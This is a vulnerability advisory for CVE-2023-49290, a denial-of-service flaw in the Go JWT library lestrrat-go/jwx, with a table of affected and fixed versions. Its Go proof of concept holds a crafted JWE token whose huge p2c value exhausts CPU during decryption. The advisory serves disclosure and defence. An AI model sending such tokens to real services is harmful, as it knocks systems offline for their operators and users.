CVE-2023-49290
lestrrat-go/jwx's malicious parameters in JWE can cause a DOS
Impact
### Summary too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack ### Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack ### PoC ```go package main import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" ) func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA") key, err := jwk.FromRaw([]byte(`abcdefg`)) payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key)) if err == nil { fmt.Println(string(payload)) } } ``` ### Impact It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| go | github.com/lestrrat-go/jwx | < 1.2.27 | 1.2.27 |
| go | github.com/lestrrat-go/jwx/v2 | < 2.0.18 | 2.0.18 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Lestrrat-Go | Jwx | before 1.2.27 from 2.0.0 before 2.0.18 |